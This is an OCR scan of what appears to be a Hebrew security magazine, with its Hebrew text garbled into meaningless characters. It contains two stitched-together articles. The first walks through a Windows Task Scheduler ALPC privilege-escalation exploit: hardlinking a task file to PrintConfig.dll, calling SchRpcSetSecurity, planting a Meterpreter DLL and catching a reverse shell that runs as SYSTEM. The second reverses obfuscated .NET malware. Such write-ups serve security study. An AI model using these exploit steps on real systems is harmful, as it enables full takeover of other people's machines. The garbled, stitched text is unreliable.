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Technologic

Local Privilege Escalation Using Task Scheduler
Service

17 DNNAN 2'AXR NRN

Nian

N'DN D N7 010N 1Iawna nno1o “SandboxEscaper” NMpinn ,27/08/2018-n 1"IRN]
AwoNnn "Advanced Local Procedure Call" 122102 Zero-Day a10n nNVAX NWZIN NXR¥YN
.(SYSTEM) nd>yn NIXWIN 2'UN7 N7U900 NDIYN2A NIdDINI NIXWAN 2y qpin?

.ANT NDWN 7V NNAIT? WInm NAxN N ,N97NNN 7V 09X NT 1NN

?’ SandboxEscaper m .

@SandboxEscaper

Here is the alpc bug as Oday:
github.com/SandboxEscaper ... |don't
fucking care about life anymore. Neither do |
ever again want to submit to MSFT anyway.
Fuck all of this shit.

[MpInn 7w Aipnn yiren]

TIO" 'AWIN

:NTINNND YIN'Y DN NWY] WX DAYIN 7¢ DNIRA ' |77
WM nn7on - "nia'rans nn7on" Xin "Privilege Escalation™ namn win'o" - Privilege Escalation
DN NIXYWINN 7101 NN 07w 7V 'y 12T Escalation Privilege .07102 nanT N7y "n710"
D'7wD NI 07D AR 07O L17W NINWANNNA NINRAN NINYINA NI7IV9 y¥a? N'yn wnnwnn
NIYAD NI'YZAI9] WIN'Y ,NNVAINA X7 NA'ND - DAY 02D IR NDIWAN NAND [DINA D'YAN WK
DN ' 1D L,DMA17 0Y7w) 7V 1A DMpnn 202 X ,NNNRE Q7RO NI9PNNT NISIYN I

"DN7Un NIDIM NIRVWAN DY D'YNNYNAY D'YR NMTIoN NIXWIN DY DX

[7xvoj 7'ox NXn 2009 NaIVPIX 1 390N |I'7'an NP'7]

Microsoft -7y poionn 07NN 2 MIWPN NN Xin LPC - Local Procedure Call (LPC)

LPC-2 wnnwn? N1 .0'NN 2 DRI 7Y NNLAIKN NNAvn TWONNN Windows NT Kernel

Local Privilege Escalation Using Task Scheduler Service
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Technologic

1YW |2 IX Kernel-Mode |'2%7 User-Mode-a '7nn |2 ,User-Mode-2 D''70N v "2 MIYWPNY?

.Kernel-Mode-2 Drivers

LPC nx wThn nax'v Microsoft ,Vista n'2vonin N>yna - Advanced Local Procedure Call (ALPC)
nown 7w 0N and om'p .LPC 7w "t nwTn" nona nwyn? XIinw ALPC-7 Inw NX nm'wi
:ALPC -2 win'y7 NIXNAIT .0'"M2Y ALPC 'Pwnn D'790n WX 790N

.LSASS 7"7nn ny WwpnY 1 ALPC-2 wnnwn Winlogon e

.D'0ONIPY DD'7NNN WA 7 vy 727 nan 7y ALPC-A wnnwn Windows 7w NIRAW NIT e

VAIRI DP"AIR? ND'IYNN NNVAXN NYAP?7 0'0an KIn Security Descriptor - Security Descriptor
T VTN 112y 0RININ N1AN.0RPMAIND 72V M, 0P aIRN 72V Nintion Ni7iyo yxa? 710" wnnun N

:D'M{7'V2 TN ,0'0INT7X 190NN 2d1IN XINI Security Descriptor X172
OwnerSID o

GroupSID e

Discretionary Access Control List (DACL) e

System Access Control List (SACL) e

.SACL-1 DACL ,axwn 73 112y (ACL) nw'a njpa NN 'Y '7'on Security Descriptor 90112

N¥AP IX YNNwn 2 nanwn ‘M2l "TIN' ANLAX AntA KRIn SID - Security Identifier (SID)

.D'Ynnwn

Security descriptor

Owner SID

Group SID

Discretionary ACL (DACL)
Access allow/deny permissions

System ACL (SACL)
Audit entries
Mandatory label

[Dj7'y D'0INYR NYAIR '7'onn Security Descriptor 7w nnax'T]

Local Privilege Escalation Using Task Scheduler Service
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N2 NTNNN NaN KIn SDDL String - Security Descriptor Definition Language String (SDDL)

:NNAIT? VP"AIX 1Y Security Descriptor INN? Nan 7y D'wnnun

O:owner_sid
G:group_sid
D:dacl_flags(string acel)(string_ace2)
S:sacl _flags(string acel)(string ace2)

‘Yal? 7w SDDL NnTinnn 1Ay nnaiT

0:5-1-5-21-2093731422-2129986928-4024234085-1001
G:S-1-5-21-2093731422-2129986928-4024234085-513
D:AI(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;FA;;;S-1-5-21-2093731422-2129986928-
4024234085-1001)
S:AI(AU;O0ICINPFA;RPDTSDWD; ; ;BU) (AU;OICINPSA;CCSWRPDTLOSD; ; ;BU)

TYNT TWONN ,D'10N VP AIN 7R NWA IPIAN T¥'D 1 Tan SACL - System Access Control List (SACL)
.Owner SID-N 2" TANY '9) 010N VPMAINYT 1WA WK NIXIAPZI D'YNNYN 7¢ N7WID IX INYXIN nwa
NYA7 NXAR IN YNNWN 7¢ 291D IR NYNIN [1'01 TYNY oxN Nivaipn ACE nmivwn 70 Xin ,q0n

.0paINa?

VA1 AINYINN 1'97 Mj7'Win 'WXNKRN DX nlinn DACL - Discretionary Access Control List (DACL)
L0PMIR? NYRA Y M7 navenl

.<account, access-rights> 7w nn'wn XIn ACL

.Access Control Entries (ACE) X1j72 ACL-2 <account, access-rights> 7w q¥1'7D e

N N AIan 1D |'yn SACL-I Yalp? nwna wromY yn DACL-w XIn SACL-7 DACL |1 71an

Op7"AIR

7on ACE .(ACL) nwa mipa Nn'wnl nnivn nwyn? Xin ACE - Access Control Entries (ACE)
on"nn I'7RY 1AwNN 7w SID-N NX 71 ACE-n .(SID) Security Identifier-1 Access Rights 7w nxiap
N2 0ax'nn ACE NiNivY 7¢ D1IY D210 DIY' .NXIP IX WNNnwn 1y nirn? 7o' SID-n ,ACE-n

.(yarp j123) T'n* vEIRY

-2 ACE 75> .Security Descriptor-2 SACL-1 DACL n1Tan2 ACE Strings-2 wnnwn SDDL - ACE Strings
(;) ?'09 NTIPA NIYXNXA D'TI9INMI XAN 1 TOA O'RX¥N 7Y NITYN ,0'A102 97in SDDL
ace_type;ace_flags;rights;object_guid;inherit_object_guid;account_sid
:NM2aIT? ACE STRING
D:(A;OICIIO;SDGXGWGR;;;AU)

ace_type: ACCESS_ALLOWED_ACE_TYPE
ace_flags: OBJECT_INHERIT_ACE
CONTAINER_INHERIT_ACE
INHERIT_ONLY_ACE

Local Privilege Escalation Using Task Scheduler Service
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rights: DELETE
GENERIC_EXECUTE
GENERIC_WRITE
GENERIC_READ
account_sid: SDDL_AUTHENTICATED_USERS

?00"2'2 0'7T72a0n nni SoftLink,HardLink

DANN D'¥AP MY AWONNN NAT ,N'WRN 2102 DY1I0N 2NNYT D190 1IXY? CWONN Hardlink e

D'¥27N ,0'¥APN TNXR N1 DX MY' YNNUNi AT'R2 .N'YRN D2 DIpn INIX? DN
STV Y27 112V ARNP WA NY HardLink yxa'? @12 .0RNN2 IINW!' DNINKRD

DIPN IMIX? X721 1NN yapn 7w Dipmnn 1y Yy 70 QUK yalz X' YWonn - Softlink e

RN D

SoftLink content
Softlink to o
e containing Path to
PrintFile.dll - I
P PrintFile.dll
-
-
-
-
-
‘al'

PrintFile.dll \
PrintFile.dll content
/' on Disk
HardLink to PrintFile.dll

[softlink |27 hardlink |2 D"7T2nN NX Naonn NNMAR'T]
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AYU2Inn 2V 120n

"job" mmrronl X YaIRd NIM'wn DX Mivl Windows 2000 niniznn nna - Task Scheduler 1.0

X2n 2'N1n

C:\Windows\Tasks

:N2N 2'N1a XML n1anal yalzd nin'wnn X il Vista niinn nna - Task Scheduler 2.0

C:\Windows\system32\Tasks

.Tasks Scheduler 7¢ nin'wn 7y V"Y1 71017 NIV'YW 190N WONRN ITaskSchedulerService pwnn
IN N"'Nn 7w Security Descriptor-n X N1 Tan WX "SchRpcSetSecurity” X'n NI'YYj1190 NNNX
,AN'YUNN ¥ DWUN DR 1'TaN7 NIX W' "SchRpcSetSecurity” n'¥j71191 D'UNNWUN TWUXD .ANn'wnNn

:(SDDL)NIIAy NIXYINN NXI

HRESULT SchRpcSetSecurity(

[in, string] const wchar_t* path,
[in, string] const wchar_t* sddl,
[in] DWORD flags

)

".job" yaIz o' nxn T Task Scheduler nn'wn "SchRpcSetSecurity” N'¥71191 wWIN'W W' TWUNXD

NN NN

‘C:\Windows\Task

ardLin ,1 1 1
3.||7'7 HardLink ¥ nn n''7'na D'xap q1X'7 710" D'NIXRN NXIQpP2 XXNIY ynnvnn 'S 1NKRN

.1 yxa7 XM IMRY YaIR? AR NIRWANA NIX W' HardLink Qixt? nan ) noayna Nk

B C\Windows\system32\cmd.exe — O x

c:\>cacls c:\Windows\Tasks ~

c:\Windows\Tasks NT AUTHORITY\Authenticated Users:(special access:)
READ_CONTROL
SYNCHRONIZE
FILE_GEMERIC_READ
FILE_GEMERIC_ EXECUTE
FILE_READ DATA
FILE_WRITE_DATA
FILE READ EA
FILE_EXECUTE
FILE_READ ATTRIBUTES

BUILTIN\Administrators:F
BUILTIN\Administrators: (0OI){CI){IO)F
NT AUTHORITY\SYSTEM:F

NT AUTHORITY\SYSTEM: (OI){CI)(IO)F

NT AUTHORITY\SYSTEM:F

CREATOR OMWNER: (OI){(CI){(IO)F

o> W
[n7'nin 7w Security Descriptors-NX a'¥n'7 Nin 7y "cacls"-2 win'w]

Local Privilege Escalation Using Task Scheduler Service
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NIODTN 72V 'RINKRN spoolsv.exe Y'7nN7 |yl WK PrintConfig.dll XIn HardLink y¥21 1" yalpn
NIX VIV spoolsv.exe 17NN ,StartXpsPrintJob n'¥jpa192 wim'yw nya D |1 .QwWNN D'OpoI

.PrintConfig.dll n*90n

WX UpdateTask.job yalj77 DACL-n NX ' Tan'? nan 7y SchRpcSetSecurity n'¥j72192 wnnwin? 711
StartXpsPrintJob N'¥j71192 wnnwa nI'o? .anK DLL-2 19'7nn? pn NX7I PrintConfig.dil 97X wipn

.SYSTEM MN2>7yn NINYINA WNNWAY? TWOR'T wTNN DLL-N DX [VO' spoolsv.exe 1"'7nNnw nin 7y

o -CreateNativeHardLink{)  C\Windows\Tasks\UpdateTask.job C:A\Windows\*\PrintConfig.dll
-- Link to DLL

o -SchRpcSetSecurity()

o -WriteFile(PrintConfig.dll)

o -XpsPrintlob()

-- Load hijacked DLL

, SYSTEM
spoolsv.exe

[nopnnn 7w nnhar+T]

Local Privilege Escalation Using Task Scheduler Service
www.DigitalWhisper.co.il
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nNNATN

NI NYPN DA N Y ww At Hardlink yalp Dy X onopnnn g niiwxkin n7ivon
AWK PrintConfig.dil yaipn NX 9™7N0Y7 X'N N0NN DT NIPNA .ARNP DY IR D7 WWR yalp
Yal |2 MW y¥al nwyn? TX .spoolsv.exe '7nN2 XpsPrintJob N¥j71192 win'y WNXY (V01

:PrintConfig.dll yalzn 78 C:\WINDOWS\TASKS n"jz'na X¥xnin UpdateTask.job mww

CreateNativeHardlink(Source, Destination);

CreateNativeHardlink(L"c:\\windows\\tasks\\UpdateTask.job", L"C:\\Windows\\System32\\DriverStore »
\\FileRepository\\prnms8e3.inf amd64 d953389ec763tcc7\\Amd64\\PrintConfig.dl1");

[nrxpaon v win'y]

niIXwN 1N LPrintConfig.dll-n XIinw UpdateTask yaipn 7w DACL-N NX N'Ta* NI'N190 ‘MY

NAIT? ,"D'MNIND D'YNNUN" NXIPA 0'RYNIN D'YNNYNY? (N¥1n/n2mo/nknp) nin

ACE Strings:
Template: ace_type;ace_flags;rights;object_guid;inherit_object_guid;account_sid
Example: D:(A;0ICIIO;SDGXGWGR;;;AU)

ace_type: ACCESS_ALLOWED_ACE_TYPE

ace_flags: OBJECT_INHERIT_ACE
CONTAINER_INHERIT_ACE
INHERIT_ONLY_ACE

rights: DELETE
GENERIC_EXECUTE
GENERIC_WRITE
GENERIC_READ

account_sid: SDDL_AUTHENTICATED_USERS

_SchRpcCreateFolder(handle, L"UpdateTask", L"D:(A;;FA;;;BA)(A;0ICIIO;GA;;;BA)
(A3 3FA3;53SY)(A;OICIIO;GA;;;SY)(A;;08x1301bT; ;3AU) (A30ICIIO; SDGXGWGR; ; ;AU) S
(A;;0x1200a9;;;BU) (A;0ICIIO;GXGR;;;;BU)Y", B);

_SchRpcSetSecurity(handle, L"UpdateTask", L"D:(A;;FA;;;BA){(A;0ICIIO;GA;; ;BA)
(A;3FA3;53SY)(A;O0ICIIO;GA;;;SY) (A ;0x1301bT; ;5 3AU) (A30ICITO; SDGXGWGR; ; ;AU) ®
(A} 3;0x12080a9;;;BU) (A;0ICIIO;GXGR; ;;BU)Y", B);

[yaszn 2w nvp'n Ny SDDL nTan]

Local Privilege Escalation Using Task Scheduler Service
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Mame: CAWindows\Systern32\DriverStore\FileRepositon/prnms003.inf_amd64_d953309ec703fccMAmded PrintCenfig.dll
Owner Trustedinstaller ) Change
Permissions Auditing Effective Access

For additional information, double-click a permission entry. Te modify a permission entry, select the entry and click Edit (if available).

Permission entries:

Type Principal Access Inherited from
S8 Allow  Trustedinstaller Full control None
S8 Allow  Administrators (DESKTOP-U30TE1M\Admini.. Read & execute None
SR Allow  SYSTEM Full control None
S8 Allow  Users (DESKTOP-U3O7E14\Users) Read & execute None
Allow  ALL APPLICATION PACKAGES Read & execute MNone
Allow  ALL RESTRICTED APPLICATION PACKAGES Read & execute MNone

[DACL "1'w 119%7 DLL-n 7w Security Descriptors]

Mame: CAWindows\System32\DriverStore\FileRepositony\ prnms003.inf_amd64_d933308ec763fcc T AMdENPrintCenfig.dil
Owner: Trustedinstaller ) Change
Permissions Auditing Effective Access

For additicnal information, double-click a permission entry. To moedify a permission entry, select the entry and click Edit (if available).

Permission entries:

Type Principal Access Inherited from
SR Allow  Administrators (DESKTOP-U30TE14\Admini... Full control Mone
SR Allow  SYSTEM Full control Mone
SR Allow  Authenticated Users Muodify Mone
SR Allow  Users (DESKTOP-U3OTE14\ Users) Read & execute MNone
SR Allew  Administrators (DESKTOP-U30TE1S\Admini.. Full control Parent Object
S8 Allow  SYSTEM Full centrol CAWindows'\System32\DriverStorel,
S8 Allow  Trustedinstaller Full contral Parent Object

NIRYA

[DACL "1*w WnXY7 DLL-n 7w Security Descriptors]

N 72 nnixn ynnwn 75 21, PrintConfig.dll yaipn 7w nixwANn DX NNYW7 IN7¥nw 1NN

TIX |VU' NINIDA NIRYIN 702 1'7NNY ya7d N Yl PrintConfig.dil-n nx q'2nn% 7311 ,namd

NID

70NN DT NN 7NN MR 9 NINRAN NIRYANA wnnwn? 2 | PrintConfig.dll-n

SYSTEM ndyn NIXYINA YW spoolsv.exe

11
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:Metasploit *1-7v Wx¥11W Meterpreter 7w Payload 7'on Wwx DLL-2 97nIn PrintConfig.dll-n

Property Value

File Name ChAWindows\System 32\ DriverStore\FileRepositony prnms003.inf_amd...
File Type Portable Executable 64

File Info Mo match found.

File Size 2.76 MB (2896896 bytes)

PE Size 2.76 MB (2896896 bytes)

Created Friday 2% September 2017, 16.40.59

Modified Friday 2% September 2017, 16.40.59

Accessed Friday 2% September 2017, 16.40.59

MD3 TCD1DSEESSF40FBD3IET2ETEF19038BED

SHA-1 41132 CTFDCE3A40RAART CI3BCEIFCRLE26ATEDI3

[(CFF Explorer) DLL yaljn v wTnn na'nd 1947 PE Size]

Property Value

Eile Name sitony\prams003.inf_amdéd_d953300ecT63f cc T\ Amded\PrintConfig.dl] ‘
File Type Portable Executable &4

File Info Me match found.

File Size 2.76 MB (2896896 bytes)

PE Size 5.00 KB (3120 bytes)

Created Friday 29 September 2017, 16.40.59

Modified Sunday 02 September 2018, 20.08.20

Accessed Friday 29 September 2017, 16.40.59

MD35 CB29CD4C187BTCE7419BDDEFE34886E4

SHA-1 38C31FBROEBTRDCTICRCI433AT2CE212174206EF

[(CFF Explorer) DLL yaljzn '7v wTnn na'nd WNKY7 PE Size]

112NOW wTNN DLL-N DX [VON WK XpsPrintJob nr¥j71197 X172 XPS Print API-2 win'w T'-2y DI'o%?

:SYSTEM ndyn NIRWIN 72727 121 spoolsv.exe )'7nN2 wnnwin'? 221w nan 7y

msf > use multi/handler

msf exploit(handler) > set payload windows/x64/meterpreter/reverse tcp
payload == windows/x64/meterpreter/reverse tcp

msf exploit{handler) > set lhost 0.0.0.0

lhost == 0.0.0.0

msf exploit(handler) = set lport 4444

lport == 4444

msf exploit(handler) = run

[#] Started reverse TCP handler on 0.0.0.0:4444
[*] Sending stage (205379 bytes) to 192.168.157.129
[#] Meterpreter session 1 opened (192.168.157.128:4444 -> 192.168.157.1

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter = F
[(Metasploit Framework) 17w nIXwINN NN DX A'¥xnin Meterpreter aion Payload-1 win'w]

Local Privilege Escalation Using Task Scheduler Service
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¥ Process Explorer - Sysinternals: www.sysinternals.com [DESKTOP-U307E14\Lalipop]

File Optiocns View Process Find Users Help
Wb @ =00 A | L, || . e I |
Process CPU  Private Bytes =~ Working Set  PID  Description Company Name Integrity
= ﬁcmd.exe 1,936 K 3080 K 4856 Windows Command Processor Microsoft Corporation Medium
[ conhost exe 6024 K 18,072 K 7736 Console Window Host Microsoft Corporation Medium
@ Onelrive exe 17.560 K 56704 K 7500 Microsoft OneDrive Microzoft Comporation Medium
= @iexplore.exe 00 14128 K 55084 K 6076 Intemet Explorer Microzoft Comporation Medium
iexplore exe 0.01 16,888 K 43824 K 3988 Intemet Explorer Microsoft Comparation Low
Lj undll32 exe 003 3,060 K 9788 K 284 Windows host process (Run... Microsoft Corporation System
Q?procexpﬁd.exe 0 18,644 K 38,560 K 4148 Sysintemals Process Explorer  Sysintemals - www sysinter... High

[(Process Explorer) System nixwIn 7va Meterpreter 7w 7*7nn]

nid'o

,NNAIT? 17U NINYINN NN DX NI7VN7T7 710' XIN [N N2 DDOT 97IN7 NWONNA IT NNLAX N2
NU'Y NNIN2 WNNWN WK (PowerPool) wTn |yai9 n7ann Zero-Day-n DONISW D'A' 19010 NX7

awnnn 7INNK Ny V190 GoogleUpdate.exe XIn 7NINY YaIpn N ,YAIP? NINWIN DTN 9w
JINIAA NIRWAN

y¥an Microsoft NX11N 720 .02 DMPIN 'T-7V NI7ANN AWR NIYTN NISPNN TIVIE TIY NIRYYT |*ayn

.NMYN 12NnvS021 11-n 'INN2 NNVARN |IDTY

Mannn Yy

CTF-"MANK YXan 'woINN AT ,1'YI07K L7210 DNAN2 AWNn NNZRE AT 27,7 DNNAR 21N

NKNAN N2TMDI[IDN2 NTYN 72V 110 721'7 n'71ma NTIN .Reverse Engineering Malware-1 j701V1

yTn ninpm

e  https://msdn.microsoft.com/en-us/library/cc246052.aspx

e  https://www.safaribooksonline.com/library/view/windows-internals-fifth/9780735625303/ch03s06.html

e  https://www.kb.cert.org/vuls/id/906424

e  https://docs.microsoft.com/en-us/windows/desktop/secauthz/sid-strings

e  https://blogs.technet.microsoft.com/askds/2008/04/18/the-security-descriptor-definition-language-of-love-

part-1/

e  https://docs.microsoft.com/en-us/windows/desktop/secauthz/security-descriptor-definition-language

e  http://clintboessen.blogspot.com/2011/04/whats-difference-between-acl-ace-dacl.html

e  https://msdn.microsoft.com/en-us/library/jj663148.aspx

e  https://www.bleepingcomputer.com/news/security/windows-task-scheduler-zero-day-exploited-by-

malware/

Local Privilege Escalation Using Task Scheduler Service
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https://msdn.microsoft.com/en-us/library/cc246052.aspx
https://www.safaribooksonline.com/library/view/windows-internals-fifth/9780735625303/ch03s06.html
https://www.kb.cert.org/vuls/id/906424
https://docs.microsoft.com/en-us/windows/desktop/secauthz/sid-strings
https://blogs.technet.microsoft.com/askds/2008/04/18/the-security-descriptor-definition-language-of-love-part-1/
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https://docs.microsoft.com/en-us/windows/desktop/secauthz/security-descriptor-definition-language
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https://msdn.microsoft.com/en-us/library/jj663148.aspx
https://www.bleepingcomputer.com/news/security/windows-task-scheduler-zero-day-exploited-by-malware/
https://www.bleepingcomputer.com/news/security/windows-task-scheduler-zero-day-exploited-by-malware/
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https://github.com/0xd4d/dnSpy
https://github.com/icsharpcode/ILSpy

Technologic

Assembly Explorer
4 @ nqlg (0.0.0.0)

PE
References

Resources

\u0001
w0002
#eb

:Fg

fsdgsmxd.My
SmartAssembly.Attributes
SmartAssembly.Delegates
SmartAssembly.HouseOfCards
SmartAssembly.SmartExceptionsCore

DN'2'21) 0 NIDIN DN PN TIRY? X710 0YNnd JITNY Y¥I7 NIY n2'on 7721 71T PRI
"N 2y NIWpn? nn v D (7191y) DY09aIR NINNS 10 01 Wiy n'wiy (Dol fann
NI9SNY NIYY 117 10071 Deobfuscation y¥a% n'wTI'y 0'75 vyn X7 DIY' ,11'7T7 IX .0N0IMN

LY

,("Detect it easy" 7w 11x'7) die Dwa *701 wnnwa ,VIW9Y Deobfuscation-n 27w NX NIWY7? Nin 7y
NT 2%7¥ YI¥a NYa .NDINN M7 1172V TIAYY MIXNAY yalpn DX N7 01IY9 XN NIY7 'Y 91
- 17¥ NN ,YIN'Y WY 1AW 719750 210 7V VTN DA IRYN |2 ,Y2170 NITIR 21 VTN NIKYY 70N

":SmartAssembly" owa Obfuscator-a win'y 1wyw nwya

File name: C:Users/SOC /Desktop/mysterious_dotnet.exe

PE Size: 2534912 Entropy FLC

Import Resource Overlay NET

EntryPoint: 0001d5f2 > ImageBase:

NumberOfSections: 0003 > SizeOfImage:

installer Inno Setup Module(-)[]
protector Smart Assembly(6.9.0.114)[-]
library NET(v2.0.50727)[-]

mavnemilae (L-BN =l

[T oaer TN ~> Signatures [ 172ms
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https://github.com/horsicq/Detect-It-Easy
https://www.red-gate.com/products/dotnet-development/smartassembly/index
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& C\Windows\system32\cmd.exe ] o e

C:sUsers S0C\Desktoprdddot >deddot .exe ..“mysterious_dotnet_exe

m

deddot v3.1_.41592_348% Copyright <(C> 20011-2815% deddotP®gmail._comn
Latest version and source code: httpzs:- s github_com-Bxddd-deddot

Detected SmartAssembly 6.9 _H.114 (C:sUserssS0C-Desktopsmysterious_dotnet.exel

Cleaning G:slzerss\S0CxDezktop mysterious_dotnet_exe |
Renaming all obfuscated symhols
ISaving C:xUsers E0C\Desktop mysterious_dotnet—cleaned.exe I

C:xUsers S0C\Desktop-dddot >

INTIAYY NWAT AWOK - DIPIN INIXY ON'IN DX 'Y .NET-N TIj7 2'20 797Wn NNON NN L 1I'WdYI
DINYNN 7¥ NINUNY DX Y9N X ,dnSpy NIYYNARA 172'pw "pan" yalpn NX NIMSY? 7211 ,nyd

D"M'AN NI DX 0'R

References

Resources

fedgsred. My

nsl

nsl

ns2

ns>

nsd

ns5

nsh

nsJ/

ns8

nsd

Smarthssembly. Delegates
SmartAssemb ouseOfCards

SmartAssembly.5martExceptionsCore

'N 770 NET. - N7l 7 n'mivax
www.DigitalWhisper.co.il
18 2018 M210IX ,99 |I"72



https://github.com/0xd4d/de4dot
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In [3]: from baset4 import bbddecode as bb4

In [4]: b64("9231Y0oAhb2vVXIMBU3MCZ jKugVDBXZMcbb6ThbsL5r8=")

Out[4]: "\xf7m\xeSb\x80!ok\xd5\\\x83:
“\Xbbs'\x@Z\xceZ\xae \xB1P\xc1] x93 \x lcm\xbe x93 \x 85\ xbb\ xBb \xeb \xbf"

NI'9MAIVOMP NIYPAIDI NIMIDOL WIN'Y NIXYZ WWOX ,TIN 770 INY 7V NI7ONoNn

string 0)

(52);
s);

(string 0);

m, CryptoStreamMode.
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D'2¥N2 1NN N NN DT AR WIN'Y 07K DN 2 190N N'Y9INA INAX V7NN IR
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(s);

(string 0);

ryptoStreamMode. )s

NIXT? WWONI ,smethod_56 7w n7nnnn X'nw ,1081 niwa BreakPoint 'Maxn ,NIXA7 [NIY 10D
:[9¥In base64 1V 7V NUNTD INIKY NIRT7 CWWONI ,string_0 - 1UNTD 7270 NYAIDNY

Locals
Name Type
@ string_0 SKINIW/kLI =
) 1|

System.Security.Cryptography.Cry...

System.Security.Cryptography.ICr...
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Name
@ string_0
b @ arra
b e
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b e
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b e

yptography.Rf
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em.Security ography.RijndaelManaged m.Security

i

3 7Imn oM 3 "2 0N MY XN CNI7PA smethod_56 7w NT'ON DX '2n7 17 TWoORN NT
DIV D'INWN

e S2 (value:"1B2c3D4e5F6g7HS8")

o S (value: "cffffffffffffffffff")

e String_0: "SkIN1W/kLIYPS5rz2GRFew=="

:D"0UNTO NYWITY N7 Navnl rfc2898DeriveBytes N'7NNN NX N7NNNKNA X' ,|DN NKRY

.NN0'0d wnw' - (7yn 10NN NINN2A NXT NIXYY WWOK) "nia" 7vn oy - Password e
.Salt-D wnw' - s NINWNN NITYA N¥YNY 0'NA 7w N - Bytes2 e
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.AMXNN L IV-N1 NNONN DX 1IN'Y bytes-1 bytes3 n'anwnn oy CreateDecryptor
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:NNYSN '7NN7 D'WITIN DIVNT9N DY smethod_0 N'¥j71197 X7 NIY¥NXA

Delegate3 delegate3 = Classa.smethod ¢ .Delegate3>(Classis. smethod_56( SkLNIN/kLIYPSSrz2GRFew=="), Classl4.smethod _56("Fk2eZ IMAPWCINTEMb2CS +hpgxPaKTAVFVBMAGRTL 2!
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https://docs.microsoft.com/en-us/dotnet/api/system.security.cryptography.rfc2898derivebytes.-ctor?view=netframework-4.7.1#System_Security_Cryptography_Rfc2898DeriveBytes__ctor_System_String_System_Byte___System_Int32_
https://msdn.microsoft.com/en-us/library/system.security.cryptography.rijndaelmanaged(v=vs.110).aspx
https://docs.microsoft.com/en-us/dotnet/api/system.security.cryptography.rijndaelmanaged.createdecryptor?view=netframework-4.7.1#System_Security_Cryptography_RijndaelManaged_CreateDecryptor_System_Byte___System_Byte___
https://docs.microsoft.com/en-us/dotnet/api/system.security.cryptography.rijndaelmanaged.createdecryptor?view=netframework-4.7.1#System_Security_Cryptography_RijndaelManaged_CreateDecryptor_System_Byte___System_Byte___

)object_0[4];

.Format("\"{@}\"", text2);
(Class7. :
( . )s
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sourceFileName

string_0)

>
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svhost.exe 1wn DY 07DINN destFileName-1 msbuild.exe 7w 7wn nNX 7'on sourceFileName

(Yotemp%) wnnwnn 7v n'Th NN X¥NY

0

System.Resources.f

)

NPNYN N7IY9 KD NYXANNAW NIXY? 2211, TIrn 7V 75N01 DX

nonl ,MSBuild.exe DXV NIN WNNWNN 7U NNNTH NP'NA XN svhost.exe YaIpnw MIKY NN

[271 .1nxya MSBuild.exe NX 127 7" M nwa? 7031 ,vaan AT oNin MR DTN DRY

2 70 NIK Y9N X7 k2N MImnn

) svhost Properties @
| Security I Details I Previous Versions
General | Compatibility I Digital Signatures
‘*&
[ svhost

Type of file:  Application {exe)

Description:  MSEBuild.exe e
Location: C:Users"SOC \appdata’Local Temp

Size: 85.8 KB (87.888 bytes)
Size on disk:  88.0 KB (30,112 bytes)

Created: Yesterday, June 08, 2018, 4:15:07 AM
Modffied: Thursday. June 11, 2009, 6:14:52 AM
Accessed: Yesterday, June 08, 2018, 4:15:07 AM

Atibutes: | Readonly [ Hidden

[ oK ][ Cancel ] Boply

AWON' Registry-2 NI'Y719110 1900 NMTYAYW NI' [V "IN NNAY T Twi MSBuild-2 win'wn

.N72V9NN Ndwn 7w Reboot TNWY7 o'
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DO'7NNN NN'WY X 0MAIT L(Sysinternals n77an JIMn 0721 ,Wireshark™ 12> 0*%70n niny

MKRNN D'RY¥IN DAY Y2 TerminalProcess()-7 DRI VIWDI NIMY 1901 7D 0'7'voNn

NIYXINA) NO'PY IN D' NRNP IWNXINN 1AW 27¢ DIV RI¥N7 'MN7¥n X7 - NIv 79 npnn

.TerminateProcess() n'¥j7197 (GetProcAddress()

TV NIY INIX NINSY 'MY71D' X7 ,0201 ProcessHacker-w '1nX7w 2% 'Mnw 01NN DX 'MARKQ'T TWUKD

7Y MmN NININ AW 7V NIWRAYINN Y 1N IR % ATvn L [2amd L IT npow LoN'in N0

.oN'in

IT N'¥j7219 ,CreateToolHelp32Snapshot()N'¥j2192 WIN'W NIYXARA X'N,NT 70 Y¥27 NXID1 NO'Y

.01 YT TIVI I'7R DIIYLVN DY21TINN L17Y 'NdIN Heap-n Dy TN* 1*70Nn 7@ "Snapshot” npn

T X197 DNN TNR 7D 112V NIRE DYIN DD'70NN 7D Nn'w DR NP7 N oNtn L, N7Y NNl
D'¥IY 070NN TR 1Y YT TN YN KN 7D .wnd 1nwa 710 RMpn 9 ARYINn

NNy Nt

.Diagnostics.
em.Diagnostics.Pro xplorer)} tem.Diagnostics
(chrome)) tem.Diagnost

em.Diagno .Process (chrome)} ystem.Diagnostics.F

em.Diagnostics. (chrome)}

em.Diagno

em.Diagnos

em.Diagno

em.Diagno A ) tem.Diagnostics

em.Diagnostics.Pro / ) tem.Diagnostics.

em.Diagnostics.Pro ) ] tem.Diagnost

em.Diagnostics.Pro V vSE) tem.Diagnostics

em.Diagnostics.Pro VGAuthService)} tem.Diagnost
System.Diagno d svchost)} System.Diagnostics

em.Diagnostics.Pro Ve } tem.Diagnostics.F

ystem.Diagnos : (dwm)}

em.Diagno .Process (chrome)}

ystem.Diagno
em.Diagno .Proc
em.Diagno .Proce
em.Diagnostics.Proc (Searchindexer)}
em.Diagno .Process (cmd)}

ystem.Diagnostics.Process (Ism)} System.Diagnostics
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YOP IMIX) XaN TIPN YO DX NWON ON'IN 17NN N71Y97 MW 1'70N 7710 D'RNNN TARY yana

NI9Y7 XIP TIR YOR INIX NN 70N IMIK JNY IR 7m TRE (InXY 0NN N2 1INY [9XIn

word_101064

i
; Import names

H
off_101079

aKernel32Dll
word_101096

7}

; Import names
H
off_1010A9

aKernel32Dll 0
word_1010C6

i
7 Import names

5 3
6 off_1010D6

aKernel32Dpll 1

3 word_1010F3

jpd_rec0:00101122

i

;3 Import names
i
off_ 101108

aNtdllipll

pd_recO

)'7NNN N0 01ia Pal NtTerminateProcess()

db 'GetCurrentThreadld',0
for KERNEL32.dll

dd rva word_101064
dd

align

dd
db
db
dw
db

'KERNEL32.d11',0
'GetCurrentThread',0

for KERNEL32.d1l1l
dd
dd
align
dd
db
db
dw
db

rva word_101096

'KERNEL32.d411',0
'SuspendThread’',0

for KERNEL32.dll
dd
dd
align
dd
db
db
dw
db

rva word_1010C6

dup (0)
'KERNEL32.d11',0

'NtTerminateProcess',0
ntdll.dll
rva word_1010F3
dup (0)
'ntdll.d11’',0

align
ends

nid'o

